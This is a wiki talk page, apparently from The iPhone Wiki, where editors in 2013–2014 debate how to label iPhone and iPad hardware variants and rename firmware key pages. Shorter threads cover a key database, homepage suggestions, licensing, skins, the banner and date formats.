:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals V2 ==
So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)
:Include iPhone 4 in the change and use same format everywhere on the wiki. I agree that we do not need to change devices with only one variant such as iPhone 3GS. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:59, 31 December 2013 (UTC)
:: I agree on that. 3GS, 3G and the 1st iPhone are anyway devices where I do not see too many wiki-related changes in the future.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 09:57, 31 December 2013 (UTC)
:I don't like how the abbreviated form of "iPad3,4" looks— I understand wanting to keep "iPad 4" in the name, but I can't come up with alternatives besides going with only the identifier. (Another issue is that MediaWiki's markup parser doesn't seem to like square brackets in links— I tried using <code><nowiki><nowiki /></nowiki></code>.) Having thought it over for a few days, I'm more receptive to changing all multi-variant devices (i.e. including the iPhone 4), but my concern about the Recent changes getting flooded with page moves still exists. The page moves should be done on "quiet" days, when the wiki doesn't see much activity. That being said, this is my understanding of the proposed changes. Does everyone agree with the following?
:* On pages like [[iPhone]], the variant labels will be replaced with the identifier, e.g. iPhone3,1/iPhone3,2/iPhone3,3. (An exception will probably need to be made for the iPad1,1. The "Internal Name" row should also be modified because there will be duplicated information.)
:* On [[Models]], the variant labels will be replaced with something else for the iPhone 5 and newer. (I feel like there are too many LTE bands to list in such a spot, but I don't have any better ideas.)
:* On pages such as [[Firmware]] and [[Jailbreak]], labels will be changed to things like "iPhone 4 (iPhone3,1)" and "iPad 4 (iPad3,4)." Single-variant devices like the Apple TV 2G will remain as-is.
:* The key pages will be moved to a different title, to resemble the following.
:** <del>[[InnsbruckTaos 11B554a (AppleTV3,1)]]</del> [[InnsbruckTaos 11B554a (Apple TV AppleTV3,1)]]
:** <del>[[InnsbruckTaos 11B554a (iPad2,4)]]</del> [[InnsbruckTaos 11B554a (iPad 2 iPad2,4)]]
:** <del>[[InnsbruckTaos 11B554a (iPhone3,1)]]</del> [[InnsbruckTaos 11B554a (iPhone 4 iPhone3,1)]]
:** [[InnsbruckTaos 11B554a (iPod touch 5G)]]
:Do let me know if I missed something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:57, 31 December 2013 (UTC)
::I agree with your idea [[User:Dialexio|Dialexio]], but make every page use iPhone 4 (iPhone3,1) etc. Of course if pages use iPhone 4 (GSM) now, change that to iPhone 4 (iPhone3,1) or iPhone 4 (3,1). I would suggest moving 10 pages per day for the iPhone 4 to avoid flooding. I do not want some pages to include the AP identifier and some others iPhone3,1 for example. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:08, 1 January 2014 (UTC)
:::Several comments:
*The square brackets were just an idea, nothing agreed on that yet. And yes, let's forget this idea if it has problems with MediaWiki.
*The beginning of the name should remain, otherwise we're getting inconsistent with other pages. I agree with [[User:IAdam1n|iAdam1n]] on this. To keep it short, my favorite would be something like "iPhone 4 (3,1)" then. But to make it more clear, "iPhone4 (iPhone3,1)" is also ok to me. If you wanted to leave the first part away and just use "iPhone3,1", then we would have to rename ALL pages (that's also an option).
*Regarding flooding, I prefer that we do all changes at once, at an agreed date/time, done by [[User:Dialexio|Dialexio]]. Maybe in two steps: first step to change the few hardware pages plus one page of each device of the key pages. In the second step the rest. This would ensure that any misunderstandings get catched in the first step, before all pages are renamed. I don't like to have 20 edits per day that I have to go through. Better all at once, but only after agreement of all.
*Yes, we can do iPhone 4 too, if that't the only missing one. It was a misunderstanding on my part for iPad GSM/WiFi, as this doesn't have different firmwares (only on hardware pages needed).
*Regarding the proposed listing of the bands on the [[Models]] page, Variant column, we could only list the bands that are different to make it short.

Can we list here what pages would be affected by the changes? Feel free to edit this list here within my comment. Here's what I have in mind:
*[[Models]]
*[[Apple TV]], [[iPad]], [[iPad mini]], [[iPhone]], [[iPod touch]]
*[[Firmware Keys]]
*[[Firmware]], [[Beta Firmware]]
*[[Jailbreak]]
*key pages: iPhone 4 GSM (like [[Telluride 9A334 (iPhone 4 GSM)]]), total 69 existing pages
*key pages: iPhone 4 GSM (A) (like [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)]]), total 21 existing pages
*key pages: iPhone 4 CDMA (like [[BrightonMaps 10B329 (iPhone 4 CDMA)]]), total 50 existing pages
*key pages: iPhone 5 GSM (nonexistent)
*key pages: iPhone 5 Global (nonexistent)
*key pages: iPhone 5c and 5s (nonexistent)
*key pages: iPad 2 Wi-Fi (like [[Durango 8G4 (iPad 2 Wi-Fi)]]), total 5 existing pages
*key pages: iPad 2 GSM (like [[Durango 8G4 (iPad 2 GSM)]]), total 5 existing pages
*key pages: iPad 2 CDMA (like [[Durango 8G4 (iPad 2 CDMA)]]), total 5 existing pages
*key pages: iPad 2 Wi-Fi Rev A (nonexistent)
*key pages: iPad 3 Wi-Fi (nonexistent)
*key pages: iPad 3 CDMA (nonexistent)
*key pages: iPad 3 Global (nonexistent)
*key pages: iPad 4 Wi-Fi (nonexistent)
*key pages: iPad 4 GSM (nonexistent)
*key pages: iPad 4 Global (nonexistent)
*key pages: iPad Air Wi-Fi (nonexistent)
*key pages: iPad Air Cellular (nonexistent)
*key pages: iPad mini Wi-Fi (nonexistent)
*key pages: iPad mini GSM (nonexistent)
*key pages: iPad mini Global (nonexistent)
*key pages: iPad mini 2G Wi-Fi (nonexistent)
*key pages: iPad mini 2G Cellular (nonexistent)
The key pages would get moved without redirect and all references updated. The references should also be in this list above. Add it to the list if I forgot anything.
--[[User:Http|http]] ([[User talk:Http|talk]]) 15:07, 1 January 2014 (UTC)
::::Yes that is fine. I said the 10 a day to avoid a big flood, but I do not mind either way. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 15:13, January 1, 2014‎ (UTC)
::::Looks good. I amended the list to include the iPads as well. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:51, 1 January 2014 (UTC)
:::::You forgot iPad mini's, [[User:Dialexio|Dialexio]]. I added them. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:59, 1 January 2014 (UTC)
Yes, I forgot the iPads. Thanks for adding them. So most of you seem to agree on the the generic change now. But what is missing is the exact naming. We have three variations still in discussion:
#"iPhone 4 (3,1)"
#"iPhone 4 (iPhone3,1)"
#"iPhone 4 3,1"
#"iPhone 4 iPhone3,1"
I just noticed that we cannot use the round brackets, because this entire part is already enclosed in round brackets - otherwise we would have nested brackets and in grammar I think you have to use square brackets which are not allowed in MediaWiki. So this leaves us with #3 and #4. #3 looks silly without the brackets, so we probably have to use #4 as [[User:Dialexio|Dialexio]] suggested. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:55, 1 January 2014 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)
:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Future plans==
Now that I have SSH access, I've begun working on making several, somewhat-overdue changes to the wiki. The Renameuser extension was reinstated, so admins can now rename accounts. If you have another account, that can also get merged into your current account. If you happen to get locked out from both your account and the email used is no longer active, I can run a script to reset your password. I've also begun implementing a very noticeable change— as users of the Vector skin have noticed, the iOS 6-based theming is gone. It's a semi-temporary move though; it's going into its own skin, because… you know, choice is cool. People who like the Vector skin may not have liked the iOS theming, especially since IE 9 and lower didn't display it completely accurately. Therefore, it's going into its own theme. Once that's done I also plan on making a separate iOS 7-based skin. If there are any further thoughts or suggestions on how to improve the wiki, do let me know! --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:18, 9 November 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)
:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)

User talk:Peg4sus

2014-01-01T23:32:16Z

Http: tell reasoning for delete

== Creation of R3wind‎ ==

